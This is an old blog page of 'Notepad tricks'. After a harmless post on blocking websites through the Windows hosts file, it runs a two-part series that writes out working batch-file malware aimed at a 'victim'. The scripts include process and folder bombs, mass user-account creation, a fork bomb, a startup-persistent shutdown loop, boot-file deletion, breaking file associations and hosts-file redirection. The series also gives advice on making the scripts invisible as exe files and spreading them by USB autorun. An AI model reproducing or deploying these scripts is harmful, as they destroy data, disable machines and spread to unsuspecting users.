Showing posts with label Notepad Tricks. Show all posts
Showing posts with label Notepad Tricks. Show all posts

Sunday, May 13, 2012

How To Block Any Website Without Using Any Software?

Yes,that's true. You can block any website in windows without using any software. Just follow these steps:

1.Browse for C:\Windows\system32\drivers\etc.

Alternatively, Open “Run” from the start menu (or press WinKey + r). Just copy paste the following path and hit ENTER. notepad %windir%\system32\drivers\etc\hosts

2.Search for the file named "hosts" and open it in notepad.

3.Then you will see a line "127.0.0.1 localhost".

4.Just under this line add "127.0.0.2 www.sitenameuwanttoblock.com" without quotes and Change the www.sitenameuwanttoblock.com url with the site's url you want to block and you are done!!

For Example:-
127.0.0.2 www.facebook.com

5. Make sure every time you add another website, the last digit of the address 127.0.0.x should not be the same.

For Example:-
127.0.0.3 www.orkut.com

6. Save the file and exit. Restart your browser if it is opened and changes will take place immediately.

Note:
You may need to add sites with both with and without the "www.". Test after blocking to make sure you got it right.

You can add as many undesirable and dangerous sites as you wish to block in this fashion in your personal HOSTS file!

Some people suggest that you add a website address that you wish to block by adding it to Internet Explorer's Restricted Zone. This does NOT totally block a site. It will only RESTRICT a site from certain actions such as using javascript, Active-X and Java etc.

Some people also suggest that you add a website address to the Internet Explorer 'Privacy' settings. This does not block a site. It only stops that site from using cookies.

Source: elakiri.com

Part 1 : Are Batch Files Dangerous To Our System?

What is a Batch File?
In DOS, OS/2, and Microsoft Windows, a batch file is a text file containing a series of commands intended to be executed by the command interpreter. Similar to job control language and other systems on mainframe and minicomputer systems, batch files were added to ease the work required for certain regular tasks by allowing the user to set up a batch script to automate many commands. When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe) reads the file and executes its commands, normally line-by-line. Batch files are useful for running a sequence of executables automatically and are often used to automate repetitive or tedious processes.

DOS batch files have the filename extension .bat. Batch files for other environments may have different extensions, e.g. .cmd or .bat in the Microsoft Windows NT-family of operating systems and OS/2, or .btm in 4DOS and 4NT related shells.

What Can Batch File Do?
They can be used to delete the windows files, format data, steal information, irritate victim, consume CPU resources to affect performance, disable firewalls, open ports, modify or destroy registry and for many more purposes.

Some Simple Codes Worth Trying:
Just copy the code to notepad and save it as givenameurself.bat (You can give any name you wish but extension must be "bat" and save it as 'all files' instead of text files).

1. Application Bomber

@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start open different applications like paint, notepad, command prompt repeatedly, irritating victim and of course affecting performance.

2. Folder flooder

@echo off
:x
md %random% // makes directory/folder.
goto x

Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.

3. User account flooder 

@echo off
:x
net user %random% /add //create user account
goto x

This code would start creating windows user accounts whose names could be any random numbers.

To be continued......

Source: en.wikipedia.org and elakiri.com

Part 2 : Are Batch Files Dangerous To Our System?

Hi all once again welcome back to my blog....we were discussing on the effect of batch file in our system and were looking after some batch codes...let's continue..


4. Fork Bomb

%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

5. Shutdown Virus

copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”

These two commands will copy the batchfile in start up folders (in XP)

shutdown -s -t 00
This will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Sta rt Menu\Programs\Startup

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

6. Deleting boot files

Goto C drive in Win XP , Tools->Folder Option->View.
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'.
Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.

Lets make a batch file to delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again.

7. Extension Changer

@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything

Every extension is associated with a file type like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.

Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint, games, command prompt and many more), jpeg, png, mpeg files wouldn’t open properly.

8. DNS Poisoning

There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file.

@echo off
echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file.

Replace xxx.xxx.xxx.xxx and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he would try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.

Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses:

1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

You can download the software "Bat To Exe Converter".

After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.

You can use other options as per your requirement.

Spreading batch viruses through pen drive:

Step 1.
Open notepad and write
[autorun]
open=anything.bat
Icon=anything.ico

Save file as ‘autorun.inf’

Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

Source: Elakiri.com